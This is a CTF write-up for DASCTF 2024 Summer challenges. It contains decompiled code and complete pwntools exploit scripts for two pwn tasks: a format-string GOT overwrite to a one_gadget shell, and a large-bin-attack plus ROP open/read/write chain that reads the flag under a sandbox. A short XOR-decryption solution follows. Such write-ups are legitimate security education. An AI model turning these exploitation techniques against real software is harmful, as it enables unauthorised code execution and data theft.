dasctf2024_summer_challenge
题目附件https://github.com/nyyyddddn/ctf/tree/main/dasctf2024_summer_challenge
pwn
spring_board
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-4h]
myinit(argc, argv, envp);
puts("Life is not boring, dreams are not out of reach.");
puts("Sometimes you just need a springboard.");
puts("Then you can see a wider world.");
puts("There may be setbacks along the way.");
puts("But keep your love of life alive.");
puts("I believe that you will succeed.");
puts("Good luck.");
putchar(10);
puts("Here's a simple pwn question, challenge yourself.");
for ( i = 0; i <= 4; ++i )
{
puts("You have an 5 chances to get a flag");
printf("This is the %d time\n", (unsigned int)(i + 1));
puts("Please enter a keyword");
read(0, bss, 0x40uLL);
printf(bss);
}
return 0;
}
非栈上格式化字符串,需要找一个指向栈的双重指针去写地址,然后调整双重指针实现任意地址写,got表可以写,这个情况有点麻烦,除非一次写四个字节?远程试了几次发现能写成功?? 也可以写main的返回地址为onegadget吧,这样就不用一次写这么多字节了
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "node5.buuoj.cn"
PORT = 28552
elf = context.binary = ELF('./pwn')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
# _libc_stack
payload = "-%9$p-%11$p"
# ru("Please enter a keyword")
s(payload)
ru('-')
libc_base = int(r(14),16) - (0x7ba6ad020840 - 0x7ba6ad000000)
ru('-')
stack = int(r(14),16)
success(hex(libc_base))
success(hex(stack))
target_i = stack - (0x7ffd3b5bd3a8 - 0x7ffd3b5bd2bc)
success(hex(target_i))
one_gadget = libc_base + 0xf1247
system = libc_base + libc.sym['system']
puts_got = 0x601020
printf_got = 0x0000000000601028
success(f"one_gadget ->{hex(one_gadget)}")
# pwndbg> fmtarg 0x7ffec2942308
# The index of format argument : 12 ("\%11$p")
# pwndbg> fmtarg 0x7ffec29423d8
# The index of format argument : 38 ("\%37$p")
payload = b"%" + str(printf_got & 0xffffff).encode() + b"c%11$lln\x00"
# g(p)
s(payload)
# g(p)
payload = b"%" + str(one_gadget & 0xffffffff).encode() + b"c%37$n\x00"
success(hex(system))
s(payload)
# g(p)
s(b'/bin/sh\x00')
p.interactive()
magicbook
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
sandbox();
menu1();
dest = malloc(0x100uLL);
while ( 1 )
{
book = (unsigned __int16)book;
menu2();
__isoc99_scanf("%d", &v3);
if ( v3 == 4 )
exit(0);
if ( v3 > 4 )
{
LABEL_12:
puts("Invalid choice");
}
else
{
switch ( v3 )
{
case 3:
edit_the_book();
break;
case 1:
creat_the_book();
break;
case 2:
delete_the_book();
break;
default:
goto LABEL_12;
}
}
}
}
void *edit_the_book()
{
size_t v0; // rax
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("come on,Write down your story!");
read(0, buf, book);
v0 = strlen(buf);
return memcpy(dest, buf, v0);
}
size_t creat_the_book()
{
size_t v0; // rbx
__int64 size[2]; // [rsp+Ch] [rbp-14h] BYREF
if ( book > 5 )
{
puts("full!!");
exit(0);
}
printf("the book index is %d\n", book);
puts("How many pages does your book need?");
LODWORD(size[0]) = 0;
__isoc99_scanf("%u", size);
if ( LODWORD(size[0]) > 0x500 )
{
puts("wrong!!");
exit(0);
}
v0 = book;
p[v0] = malloc(LODWORD(size[0]));
return ++book;
}
__int64 delete_the_book()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch] BYREF
char buf[8]; // [rsp+8h] [rbp-8h] BYREF
puts("which book would you want to delete?");
__isoc99_scanf("%d", &v2);
if ( v2 > 5 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
free((void *)p[v2]);
puts("Do you want to say anything else before being deleted?(y/n)");
read(0, buf, 4uLL);
if ( d && (buf[0] == 89 || buf[0] == 121) )
{
puts("which page do you want to write?");
__isoc99_scanf("%u", &v1);
if ( v1 > 4 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
puts("content: ");
read(0, (void *)(p[v1] + 8LL), 0x18uLL);
--d;
return 0LL;
}
else
{
if ( d )
puts("ok!");
else
puts("no ways!!");
return 0LL;
}
}
约束非常多,程序没有canary,给了一个elf的地址,并且把execve给禁用了,通过large bin attack插入时利用构造一个任意地址写,往book那写一个很大的数字,这样edit read的时候就能溢出覆盖返回地址,然后就是正常的rop + orw了
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "48.218.22.35"
PORT = 10000
elf = context.binary = ELF('./pwn')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
def create(size):
sla("Your choice:","1")
sla("How many pages does your book need?",str(size))
def delete(idx,y = 0,idx1 = 0,content = b''):
sla("Your choice:","2")
sla("which book would you want to delete?",str(idx))
if y:
sla("Do you want to say anything else before being deleted?(y/n)","y")
sla("which page do you want to write?",str(idx1))
sa("content: ",content)
else:
sla("Do you want to say anything else before being deleted?(y/n)","n")
def edit(content):
sla("Your choice:","3")
sa("come on,Write down your story!",content)
ru("give you a gift: ")
d = int(r(14),16)
elf_base = d - 0x4010
success(hex(d))
success(hex(elf_base))
create(0x4d8)
create(0x38)
create(0x4b8)
delete(0)
create(0x500) # large bin
book = elf_base + 0x000000000004050
delete(2,1,0,p64(0) * 2 + p64(book - 0x20))
create(0x500) # large bin attack
rdi = elf_base + 0x0000000000001863
rsi = elf_base + 0x0000000000001861 # pop rsi r15 ret
bss = elf_base + 0x4110
edit_func = elf_base + 0x0000000000015E1
puts_got = elf_base + elf.got['puts']
puts_plt = elf_base + elf.plt['puts']
payload = b'a' * 0x28 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(edit_func)
edit(payload)
rl()
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
success(hex(libc_base))
rdx = libc_base + 0x000000000011f2e7 # pop rdx r12 ret
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
payload = b'a' * 0x28 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(edit_func)
time.sleep(0.3)
sl(payload)
payload = flat([
b'a' * 0x28,
rdi,0,rsi,bss,0,rdx,0x8,0,read,
rdi,bss,rsi,0,0,open,
rdi,3,rsi,bss,0,rdx,0x40,0,read,
rdi,1,rsi,bss,0,rdx,0x40,0,write
])
time.sleep(1)
sl(payload)
success(hex(bss))
# g(p)
time.sleep(1)
s(b'./flag\x00\x00')
# g(p)
p.interactive()
re
DosSnake
16位的程序,发现有一个dasctf的字段,查找dasctf字段的引用发现这样一段逻辑,可以发现就是一个简单的异或加密,置反一下得到flag

encrypted_data = [
0x3F, 0x09, 0x63, 0x34, 0x32, 0x13, 0x2A, 0x2F, 0x2A, 0x37,
0x3C, 0x23, 0x00, 0x2E, 0x20, 0x10, 0x3A, 0x27, 0x2F, 0x24,
0x3A, 0x30, 0x75, 0x67, 0x65, 0x3C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
]
key = [0x44, 0x41, 0x53, 0x43, 0x54, 0x46]
key_length = len(key)
decrypted_data = []
for i in range(len(encrypted_data)):
decrypted_byte = encrypted_data[i] ^ key[i % key_length]
decrypted_data.append(decrypted_byte)
for i in decrypted_data:
print(chr(i),end="")
# {H0wfUnnytheDosSnakeis!!!}